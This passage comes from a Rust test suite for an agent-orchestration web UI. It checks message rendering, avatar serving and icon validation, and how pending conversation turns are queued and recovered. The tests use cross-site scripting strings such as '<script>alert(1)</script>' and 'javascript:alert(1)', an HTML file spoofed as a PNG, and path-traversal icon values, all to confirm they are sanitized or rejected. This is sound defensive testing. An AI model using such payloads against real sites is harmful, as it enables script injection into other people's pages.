12134 let queued_md = view.pending_messages_md[0].clone();
12135 assert_eq!(
12136 queued_md,
12137 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12138 );
12139 talk::drain(&mut conversation, &ui.talks).unwrap();
12140 talk::record_reply(
12141 &mut conversation,
12142 &ui.talks,
12143 "Explain",
12144 vec![],
12145 Some(talk::ReplyTarget {
12146 turn: 1,
12147 message: 0,
12148 }),
12149 )
12150 .unwrap();
12151 let mut saved = ui.talks.get(&id).unwrap();
12152 assert_eq!(saved.turns[1].messages[0].body, body);
12153 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12154 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12155 assert!(!reply.excerpt.contains("automatic report"));
12156 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12159 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12160 assert_eq!(view.turn_messages_md[1][0], queued_md);
12161 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12162 assert!(
12163 !view.talk.turns[2].messages[0]
12164 .reply
12165 .as_ref()
12166 .unwrap()
12167 .excerpt
12168 .contains("automatic report")
12169 );
12170 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12171 }
12172
12173 #[tokio::test]
12174 async fn consultation_display_hides_directives_in_queue_and_history() {
12175 for node in [
12176 "implement",
12177 crate::land::APPROVAL_NODE,
12178 crate::github_text::ASK_NODE,
12179 ] {
12180 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12181 let mut question = Question::new(
12182 "run-123".into(),
12183 node.into(),
12184 "seat-1".into(),
12185 "Which backend?".into(),
12186 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12187 vec!["SQLite".into(), "Redis".into()],
12188 );
12189 ui.questions.put(&mut question).unwrap();
12190 let body = crate::prompt::chat_consult(&question);
12191 let mut conversation = ui.talks.get(&id).unwrap();
12192 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12193 assert!(
12194 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12195 );
12196 conversation = ui.talks.get(&id).unwrap();
12197 assert_eq!(conversation.pending_messages[0].body, body);
12198 assert!(body.contains("magi answer"));
12199 let mut legacy_pending = conversation.clone();
12200 legacy_pending.pending_messages[0].display = None;
12201 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12202 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12203 assert!(legacy_md.contains("Question consultation"));
12204 assert!(!legacy_md.contains("magi answer"));
12205 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12206 assert!(
12207 view.turn_messages_md[0][0].is_none(),
12208 "operator copy stays literal"
12209 );
12210 let queued_md = view.pending_messages_md[0].clone().unwrap();
12211 let rendered = serde_json::to_string(&queued_md).unwrap();
12212 for visible in [
12213 "Which backend?",
12214 "Context",
12215 "storage",
12216 "SQLite",
12217 "Redis",
12218 "<script>literal</script>",
12219 ] {
12220 assert!(rendered.contains(visible), "missing {visible}");
12221 }
12222 for directive in [
12223 "What to do",
12224 "magi answer",
12225 "Never answer it yourself",
12226 "Do not edit the repository",
12227 ] {
12228 assert!(!rendered.contains(directive), "exposed {directive}");
12229 }
12230 assert_eq!(
12231 view.talk.pending_messages[0].display,
12232 Some(crate::prompt::chat_consult_display(&question))
12233 );
12234 talk::drain(&mut conversation, &ui.talks).unwrap();
12235 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12236 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12237 assert_eq!(conversation.turns[1].messages[0].body, body);
12238
12239 conversation.turns[1].messages[0].display = None;
12242 let view = TalkView::with_config(conversation, false, None, &ui.home);
12243 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12244 assert!(legacy.contains("Question consultation"));
12245 assert!(!legacy.contains("magi answer"));
12246 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12247 }
12248 }
12249
12250 #[test]
12251 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12252 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12253 let (body, mut display) =
12254 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12255 display.facts = facts.into();
12256 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12257 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12258 let json = serde_json::to_string(&nodes).unwrap();
12259 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12260 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12261 }
12262 assert!(json.contains("<script>alert(1)</script>"));
12263 assert!(!json.contains("javascript:"));
12264 assert!(!json.contains("Tell the operator"));
12265 assert!(!json.contains("untrusted"));
12266 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12267 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12268 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12269 assert_eq!(
12270 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12271 md::to_nodes("# Status", &md::ImageBase::None),
12272 );
12273 }
12274
12275 #[tokio::test]
12276 async fn notification_display_recovers_exact_legacy_completion_references() {
12277 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12278 let mut conversation = ui.talks.get(&id).unwrap();
12279 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12280 id: "task-123",
12281 title: "Change",
12282 status: "done",
12283 reason: None,
12284 run: Some("run-123"),
12285 pr: None,
12286 summary: Some("Merge state unknown"),
12287 });
12288 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12289 conversation.turns[0].sender = None;
12290 conversation.turns[0].messages.clear();
12291 conversation.turns[0].breaks = None;
12292 conversation.pending = body.clone();
12293 conversation
12294 .completion_notices
12295 .push(crate::chat_notify::CompletionReference {
12296 task: "task-123".into(),
12297 run: Some("run-123".into()),
12298 notice: body.clone(),
12299 });
12300 ui.talks.put(&mut conversation).unwrap();
12301 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12302 assert_eq!(
12303 view.talk.turns[0].messages[0].display,
12304 Some(display.clone())
12305 );
12306 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12307 assert_eq!(
12308 view.talk.turns[0].messages[0].sender,
12309 Some(talk::Sender::Magi)
12310 );
12311 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12312 conversation.completion_notices[0]
12313 .notice
12314 .push_str("different");
12315 let view = TalkView::with_config(conversation, false, None, &ui.home);
12316 assert!(view.talk.turns[0].messages.is_empty());
12317 assert!(view.talk.pending_messages.is_empty());
12318 }
12319
12320 #[tokio::test]
12321 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12322 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12323 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12324 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12325 let _ = magi_icon_put(
12326 State(ui.clone()),
12327 Json(MagiIconUpload { icon: icon.into() }),
12328 )
12329 .await
12330 .unwrap();
12331 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12332 assert_ne!(original, changed);
12333 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12334 let response = magi_avatar(
12335 State(ui.clone()),
12336 Query(AvatarQuery {
12337 persona: None,
12338 builtin: None,
12339 }),
12340 )
12341 .await;
12342 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12343 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12344 assert_eq!(
12345 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12346 "nosniff"
12347 );
12348 for bad in [
12349 "data:image/png;base64,PGh0bWw+".to_owned(),
12350 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12351 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12352 ] {
12353 assert!(save_magi_icon(home.path(), &bad).is_err());
12354 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12355 }
12356 let restarted = Arc::new(Ui::new(
12358 Queue::at(home.path().join("queue")),
12359 Questions::at(home.path().join("questions")),
12360 Talks::at(home.path().join("talks")),
12361 home.path().join("runs"),
12362 home.path().to_path_buf(),
12363 repo,
12364 ));
12365 assert_eq!(
12366 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12367 changed
12368 );
12369 let view = TalkView::with_config(
12370 restarted.talks.get(&id).unwrap(),
12371 false,
12372 None,
12373 &restarted.home,
12374 );
12375 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12376 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12377 let response = magi_avatar(
12378 State(ui.clone()),
12379 Query(AvatarQuery {
12380 persona: None,
12381 builtin: None,
12382 }),
12383 )
12384 .await;
12385 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12386 .await
12387 .unwrap();
12388 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12389 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12390 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12391 let _ = magi_icon_delete(State(ui)).await.unwrap();
12392 }
12393
12394 async fn avatar(
12396 ui: &Arc<Ui>,
12397 id: &str,
12398 persona: Option<&str>,
12399 builtin: bool,
12400 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12401 let res = talk_avatar(
12402 State(Arc::clone(ui)),
12403 Path(id.to_owned()),
12404 Query(AvatarQuery {
12405 persona: persona.map(str::to_owned),
12406 builtin: builtin.then(|| "1".to_owned()),
12407 }),
12408 )
12409 .await
12410 .expect("an avatar is never an error response");
12411 let h = res.headers();
12412 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12413 let nosniff = h
12414 .get(header::X_CONTENT_TYPE_OPTIONS)
12415 .is_some_and(|v| v == "nosniff");
12416 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12417 let status = res.status();
12418 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12419 .await
12420 .expect("body")
12421 .to_vec();
12422 (status, ct, nosniff, csp, body)
12423 }
12424
12425 fn tiny_png() -> Vec<u8> {
12426 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12427 b.extend_from_slice(&[0u8; 32]);
12428 b
12429 }
12430
12431 #[tokio::test]
12432 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12433 let res = operator_avatar().await;
12434 assert_eq!(res.status(), StatusCode::OK);
12435 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12436 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12437 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12438 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12439 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12440 .await
12441 .unwrap();
12442 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12443 assert_ne!(
12444 persona_icon::operator_svg(),
12445 persona_icon::builtin_svg("default")
12446 );
12447 }
12448
12449 #[tokio::test]
12450 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12451 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12452 for p in [
12453 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12454 ] {
12455 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12456 assert_eq!(status, StatusCode::OK, "{p}");
12457 assert_eq!(ct, "image/svg+xml", "{p}");
12458 assert!(nosniff && csp, "{p}");
12459 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12460 }
12461 let own = avatar(&ui, &id, None, false).await;
12463 let default = avatar(&ui, &id, Some("default"), false).await;
12464 assert_eq!(own.4, default.4);
12465 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12466 assert_eq!(unknown.1, "image/svg+xml");
12467 }
12468
12469 #[tokio::test]
12470 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12471 let dir = TempDir::new().expect("icons");
12472 let good = dir.path().join("good.png");
12473 std::fs::write(&good, tiny_png()).unwrap();
12474 let spoof = dir.path().join("spoof.png");
12475 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12476 let big = dir.path().join("big.png");
12477 let mut bytes = tiny_png();
12478 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12479 std::fs::write(&big, bytes).unwrap();
12480 let missing = dir.path().join("missing.png");
12481 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12482 let extra = format!(
12483 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12484 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12485 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12486 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12487 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12488 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12489 uri(&good),
12490 uri(&spoof),
12491 uri(&big),
12492 uri(&missing),
12493 );
12494 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12495
12496 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12497 assert_eq!(
12498 (status, ct.as_str(), nosniff),
12499 (StatusCode::OK, "image/png", true)
12500 );
12501 assert_eq!(body, tiny_png());
12502 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12503 assert_eq!(ct, "image/png", "data URI");
12504
12505 for p in ["misato", "asuka", "shinji", "magi"] {
12506 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12507 assert_eq!(
12508 (status, ct.as_str(), csp),
12509 (StatusCode::OK, "image/svg+xml", true),
12510 "{p}"
12511 );
12512 assert!(body.starts_with(b"<svg"), "{p}");
12513 }
12514 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12516 assert_eq!(ct, "image/svg+xml");
12517 }
12518
12519 #[tokio::test]
12520 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12521 let oversized = format!(
12522 "data:image/png;base64,{}",
12523 "A".repeat(persona_icon::ICON_MAX_BYTES)
12524 );
12525 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12526 let extra = format!(
12527 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12528 );
12529 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12530 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12531 .await
12532 .expect("detail with invalid icon");
12533 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12534 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12535 assert_eq!(status, StatusCode::OK);
12536 assert_eq!(ct, "image/svg+xml");
12537 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12538 let Json(view) = talk_persona(
12539 State(Arc::clone(&ui)),
12540 Path(id.clone()),
12541 Json(TalkPersona {
12542 persona: "custom".into(),
12543 }),
12544 )
12545 .await
12546 .expect("persona switch with invalid icon");
12547 assert_eq!(view.talk.persona, "custom");
12548 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12549 }
12550 }
12551
12552 #[tokio::test]
12553 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12554 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12555 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12556 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12557 assert_eq!(
12558 (status, ct.as_str(), nosniff, csp),
12559 (StatusCode::OK, "image/svg+xml", true, true)
12560 );
12561 }
12562
12563 #[tokio::test]
12564 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12565 let (_t, _h, ui, id, _repo) =
12566 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12567 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12568 .await
12569 .expect("detail");
12570 let json = serde_json::to_string(&detail).unwrap();
12571 assert!(
12572 !json.contains("secret"),
12573 "the icon setting must not leak: {json}"
12574 );
12575 assert!(
12576 detail
12577 .view
12578 .persona_avatar
12579 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12580 );
12581 assert_eq!(
12582 detail.view.operator_avatar,
12583 format!(
12584 "/avatars/operator.svg?v={}",
12585 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12586 )
12587 );
12588 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12589 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12590 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12591 assert!(rei.avatar.contains("persona=rei&v="));
12592 assert_ne!(
12593 rei.avatar.split("&v=").nth(1),
12594 plain.avatar.split("&v=").nth(1)
12595 );
12596 }
12597
12598 #[tokio::test]
12599 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12600 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12601 let cfg = config_for(&repo).await.unwrap();
12602 for arrived in [false, true] {
12603 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12604 let observed = ui.queued_generation(&id);
12605 let talk = ui.talks.get(&id).unwrap();
12606 if arrived {
12607 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12608 }
12609 let mut settling = std::pin::pin!(settle_settings_turn(
12610 talk,
12611 ui.talks.clone(),
12612 cfg.clone(),
12613 id.clone(),
12614 turn,
12615 observed
12616 ));
12617 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12618 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12619 assert_eq!(first.is_pending(), arrived);
12620 if arrived {
12621 assert!(!settling.await);
12622 }
12623 assert!(!ui.is_thinking(&id));
12624 }
12625 }
12626
12627 #[tokio::test]
12628 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12629 let tmp = TempDir::new().expect("tempdir");
12630 let repo = tmp.path().join("repo");
12631 std::fs::create_dir_all(&repo).expect("repo dir");
12632 std::fs::write(
12633 repo.join("magi.toml"),
12634 format!(
12635 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12636 ),
12637 )
12638 .expect("write magi.toml");
12639 let home = TempDir::new().expect("temp home");
12640 let talks = Talks::at(home.path().join("talks"));
12641 let ui = Arc::new(
12642 Ui::new(
12643 Queue::at(home.path().join("queue")),
12644 Questions::at(home.path().join("questions")),
12645 talks.clone(),
12646 home.path().join("runs"),
12647 home.path().to_path_buf(),
12648 repo.clone(),
12649 )
12650 .with_worktrees_root(home.path().join("wt")),
12651 );
12652 let cfg = config_for(&repo).await.expect("discover config");
12653 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12654 let id = talk.id.clone();
12655 let call = |persona: &str| {
12656 talk_persona(
12657 State(Arc::clone(&ui)),
12658 Path(id.clone()),
12659 Json(TalkPersona {
12660 persona: persona.to_owned(),
12661 }),
12662 )
12663 };
12664
12665 let unknown = call("nobody").await.expect_err("unknown persona");
12666 assert_eq!(
12667 unknown.status,
12668 StatusCode::BAD_REQUEST,
12669 "{}",
12670 unknown.message
12671 );
12672
12673 {
12674 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12677 let busy = call("rei").await.expect_err("busy talk");
12678 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12679 assert!(
12680 busy.message.contains("a talk turn is running"),
12681 "{}",
12682 busy.message
12683 );
12684 drop(guard);
12685 }
12686 assert_eq!(talks.get(&id).expect("reload").persona, "");
12687
12688 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12689 assert_eq!(view.talk.persona, "gendo");
12690 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12691 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12692 for chosen in ["default", "gendo", "rei", "gendo"] {
12694 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12695 assert!(!view.thinking);
12696 assert!(!ui.is_thinking(&id));
12697 }
12698
12699 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12700 .await
12701 .expect("detail");
12702 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12703 assert_eq!(ids.first(), Some(&"default"));
12704 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12705
12706 let Json(view) = call("default").await.expect("back to default");
12707 assert_eq!(view.talk.persona, "");
12708
12709 let mut closed = talks.get(&id).expect("reload");
12710 talk::close(&mut closed, &talks).expect("close");
12711 let refused = call("rei").await.expect_err("closed talk");
12712 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12713 assert!(
12714 refused.message.contains("takes no more turns"),
12715 "{}",
12716 refused.message
12717 );
12718 }
12719
12720 #[tokio::test]
12721 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12722 let f = Fixture::start().await;
12723 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12724 let queue = f.queue();
12725 let mut mine = Task::new(
12726 "rename the loader".to_owned(),
12727 "rename the loader".to_owned(),
12728 PathBuf::from("/repo/magi"),
12729 Source::Agent {
12730 run: talk_id.clone(),
12731 node: "chat".to_owned(),
12732 },
12733 );
12734 queue.put(&mut mine).expect("file the task");
12735 let mut theirs = Task::new(
12736 "unrelated".to_owned(),
12737 "unrelated".to_owned(),
12738 PathBuf::from("/repo/magi"),
12739 Source::Human,
12740 );
12741 queue.put(&mut theirs).expect("file the task");
12742
12743 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12744 assert_eq!(res.status, 200, "{}", res.body);
12745 let body = res.json();
12746 assert_eq!(
12747 body["status"], "open",
12748 "filing a task does not close a talk"
12749 );
12750 let tasks = body["tasks"].as_array().expect("tasks array");
12751 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12752 assert_eq!(tasks[0]["id"], mine.id);
12753 }
12754
12755 #[tokio::test]
12756 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12757 let (_tmp, _repo, f) = talk_fixture().await;
12758 let id = f.post("/api/talks", None).await.json()["id"]
12759 .as_str()
12760 .expect("id")
12761 .to_owned();
12762
12763 let res = f
12764 .post(
12765 &format!("/api/talks/{id}/say"),
12766 Some(r#"{"text":"what does the queue module do?"}"#),
12767 )
12768 .await;
12769 assert_eq!(res.status, 202, "{}", res.body);
12770 let queued = res.json();
12771 let turns = queued["turns"].as_array().expect("turns array");
12772 assert_eq!(
12773 turns.len(),
12774 1,
12775 "the answer reflects only what is on disk the instant it is sent, \
12776 before the agent's turn - which can run for the whole of \
12777 `[graph] timeout_talk` - has a chance to land: {queued}"
12778 );
12779 assert_eq!(turns[0]["who"], "operator");
12780 assert_eq!(turns[0]["body"], "what does the queue module do?");
12781 assert_eq!(
12782 queued["thinking"], true,
12783 "the accepted response exposes the background turn claim: {queued}"
12784 );
12785
12786 let mut turns_after = 1;
12787 for _ in 0..SETTLE_STEPS {
12788 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12789 turns_after = detail["turns"].as_array().expect("turns array").len();
12790 if turns_after == 2 {
12791 break;
12792 }
12793 tokio::time::sleep(Duration::from_millis(10)).await;
12794 }
12795 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12796 }
12797
12798 #[tokio::test]
12825 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12826 let tmp = TempDir::new().expect("tempdir");
12827 let repo = tmp.path().join("repo");
12828 std::fs::create_dir_all(&repo).expect("repo dir");
12829 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12830 let home = TempDir::new().expect("temp home");
12831 let talks = Talks::at(home.path().join("talks"));
12832 let ui = Arc::new(
12833 Ui::new(
12834 Queue::at(home.path().join("queue")),
12835 Questions::at(home.path().join("questions")),
12836 talks.clone(),
12837 home.path().join("runs"),
12838 home.path().to_path_buf(),
12839 repo.clone(),
12840 )
12841 .with_worktrees_root(home.path().join("wt")),
12842 );
12843 let cfg = config_for(&repo).await.expect("discover config");
12844
12845 for delay in 0..40u32 {
12846 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12847 let id = talk.id.clone();
12848
12849 let handler = tokio::spawn(talk_say(
12850 State(Arc::clone(&ui)),
12851 Path(id.clone()),
12852 Ok(Json(NewTalkTurn {
12853 reply_to: None,
12854 text: "what does the queue module do?".to_owned(),
12855 attachments: Vec::new(),
12856 })),
12857 ));
12858 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12859 handler.abort();
12860 let _ = handler.await;
12863
12864 let mut turns = 0;
12865 for _ in 0..SETTLE_STEPS {
12866 if let Ok(fresh) = talks.get(&id) {
12867 turns = fresh.turns.len();
12868 if turns != 1 {
12869 break;
12870 }
12871 }
12872 tokio::time::sleep(Duration::from_millis(10)).await;
12873 }
12874 assert_ne!(
12875 turns, 1,
12876 "delay {delay}: talk {id} recorded the operator's turn but \
12877 the agent never answered - the reply task was never \
12878 started after the handler future was dropped"
12879 );
12880 }
12881 }
12882
12883 #[tokio::test]
12928 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12929 let tmp = TempDir::new().expect("tempdir");
12930 let repo = tmp.path().join("repo");
12931 std::fs::create_dir_all(&repo).expect("repo dir");
12932 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12933 let home = TempDir::new().expect("temp home");
12934 let talks = Talks::at(home.path().join("talks"));
12935 let ui = Arc::new(
12936 Ui::new(
12937 Queue::at(home.path().join("queue")),
12938 Questions::at(home.path().join("questions")),
12939 talks.clone(),
12940 home.path().join("runs"),
12941 home.path().to_path_buf(),
12942 repo.clone(),
12943 )
12944 .with_worktrees_root(home.path().join("wt")),
12945 );
12946 let cfg = config_for(&repo).await.expect("discover config");
12947
12948 for attempt in 0..3u32 {
12949 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12950 let id = talk.id.clone();
12951 let turn_guard = ui
12954 .begin_talk_turn(&id)
12955 .expect("claim the turn")
12956 .expect("a fresh talk owes nobody a turn");
12957
12958 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12959 let (release_tx, release_rx) = std::sync::mpsc::channel();
12960 ui.set_busy_queue_gate(BusyQueueGate {
12961 reached: reached_tx,
12962 release: release_rx,
12963 });
12964
12965 let handler = tokio::spawn(talk_say(
12966 State(Arc::clone(&ui)),
12967 Path(id.clone()),
12968 Ok(Json(NewTalkTurn {
12969 reply_to: None,
12970 text: "what does the queue module do?".to_owned(),
12971 attachments: Vec::new(),
12972 })),
12973 ));
12974
12975 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12980 .await
12981 .unwrap_or_else(|_| {
12982 panic!(
12983 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12984 )
12985 })
12986 .expect("the busy branch dropped the gate without using it");
12987
12988 let running = talks.get(&id).expect("reload talk");
12995 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12996
12997 handler.abort();
13001 let _ = handler.await;
13002
13003 let _ = release_tx.send(());
13009
13010 let mut fresh = talks.get(&id).expect("reload talk");
13013 for _ in 0..SETTLE_STEPS {
13014 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13015 break;
13016 }
13017 tokio::time::sleep(Duration::from_millis(10)).await;
13018 fresh = talks.get(&id).expect("reload talk");
13019 }
13020 assert!(
13021 fresh.pending.is_empty() && fresh.turns.len() == 2,
13022 "attempt {attempt}: talk {id} left the operator's text queued \
13023 with no drainer - the reclaimed turn was dropped along with \
13024 the handler future (pending {:?}, {} turns)",
13025 fresh.pending,
13026 fresh.turns.len()
13027 );
13028 }
13029 }
13030
13031 #[tokio::test]
13032 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13033 let (_tmp, _repo, f) = talk_fixture().await;
13034 let id = f.post("/api/talks", None).await.json()["id"]
13035 .as_str()
13036 .expect("id")
13037 .to_owned();
13038 let store = f.talks();
13039 let mut recovered = store.get(&id).expect("opened talk");
13040 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13041 .expect("persist pending draft without a live turn");
13042
13043 let edited = f
13044 .post(
13045 &format!("/api/talks/{id}/pending/edit"),
13046 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13047 )
13048 .await;
13049 assert_eq!(edited.status, 200, "{}", edited.body);
13050 assert!(edited.json()["thinking"].as_bool().unwrap());
13051
13052 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13053 for _ in 0..SETTLE_STEPS {
13054 if detail["turns"].as_array().expect("turns").len() == 2 {
13055 break;
13056 }
13057 tokio::time::sleep(Duration::from_millis(10)).await;
13058 detail = f.get(&format!("/api/talks/{id}")).await.json();
13059 }
13060 let turns = detail["turns"].as_array().expect("turns");
13061 assert_eq!(
13062 turns.len(),
13063 2,
13064 "the recovered draft must run once: {detail}"
13065 );
